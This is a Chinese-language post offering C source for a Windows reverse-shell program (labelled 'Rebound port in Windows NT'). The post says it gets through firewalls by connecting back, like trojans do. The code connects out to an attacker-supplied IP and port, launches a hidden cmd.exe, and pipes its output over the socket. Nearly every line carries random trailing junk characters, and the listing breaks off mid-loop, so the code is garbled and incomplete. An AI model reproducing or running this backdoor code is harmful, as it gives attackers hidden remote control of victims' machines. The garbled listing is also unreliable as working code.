这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FaQe_;
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/* ============================== ll<Xz((o
Rebound port in Windows NT Hz1%x
By wind,2006/7 t?x<g <PJ4
===============================*/ wOEj)fp.
#include DJXmGt]
#include +ocol6G7W
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#pragma comment(lib,"wsock32.lib") L_uVL#To
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void OutputShell(); :uq\+(9
SOCKET sClient; ,]ma+(|
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UXc-k
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void main(int argc,char **argv) 6ryak!|[
{ Ic"ybj`
WSADATA stWsaData; Pw7]r<Q
int nRet; 1R{!]uh
SOCKADDR_IN stSaiClient,stSaiServer; Q_Q''j(r6b
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if(argc != 3) Utj&]RELK
{ 0neoE
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printf("Useage:\n\rRebound DestIP DestPort\n"); @uqd.Q
return; ?wiCQ6*$
} |+FubYf?$
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3LJ+v5T~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VgG0VM
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stSaiClient.sin_family = AF_INET; W#4 7h7M
stSaiClient.sin_port = htons(0); @; zl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [fya)}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yYIf5S`V]
{ dUeN*Nq&(,
printf("Bind Socket Failed!\n"); N
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return; B4c]}r+
} |"X*@s\'
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stSaiServer.sin_family = AF_INET; 8rnwXPBN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N_kMK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7u -p%eq2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (Ft+uuG
{ (Du@ S
printf("Connect Error!"); Zw
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return; IXMop7~
} V%7WUq
OutputShell(); =\&;Fi]
} =V,mtT
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void OutputShell() a?I=
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{ 1y4|{7bb
char szBuff[1024]; }WC[$Y_@
SECURITY_ATTRIBUTES stSecurityAttributes; nMq,F#`3N
OSVERSIONINFO stOsversionInfo; KVoS
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !=*g@mgF
STARTUPINFO stStartupInfo; sQUM~HD\a
char *szShell; ExY] Sdx
PROCESS_INFORMATION stProcessInformation; 9N#_(uwt
unsigned long lBytesRead; 0rQMLx
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~WeM TXF>y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !1jBC.G1
stSecurityAttributes.lpSecurityDescriptor = 0; ^b4 9
stSecurityAttributes.bInheritHandle = TRUE; )Ys x}vS Z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Maha$n*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d\&U*=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Dzpq_F!;V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @wGPqg
stStartupInfo.wShowWindow = SW_HIDE; SB;&GHq"n
stStartupInfo.hStdInput = hReadPipe; G, }Yl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }/0X'o
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GetVersionEx(&stOsversionInfo); )!th7sH
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switch(stOsversionInfo.dwPlatformId) g+8OekzB5
{ du
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case 1: 4qb/daE:Z
szShell = "command.com"; SXSgld2uS
break; I13y6= d
default: a=|K%ii+Y
szShell = "cmd.exe"; zq3\}9
break; }kw#7m54
} B+|Kjlt
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); afCW(zHp
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send(sClient,szMsg,77,0); Hck]aKI+
while(1) G*?8MTP8![
{ a(m2n.0'>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e[{0)y>=
if(lBytesRead) |0&IXOW"XF
{ v^sv<4*%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); paA(C|%{
send(sClient,szBuff,lBytesRead,0); AwCcK6N1
} on!,c>nNa
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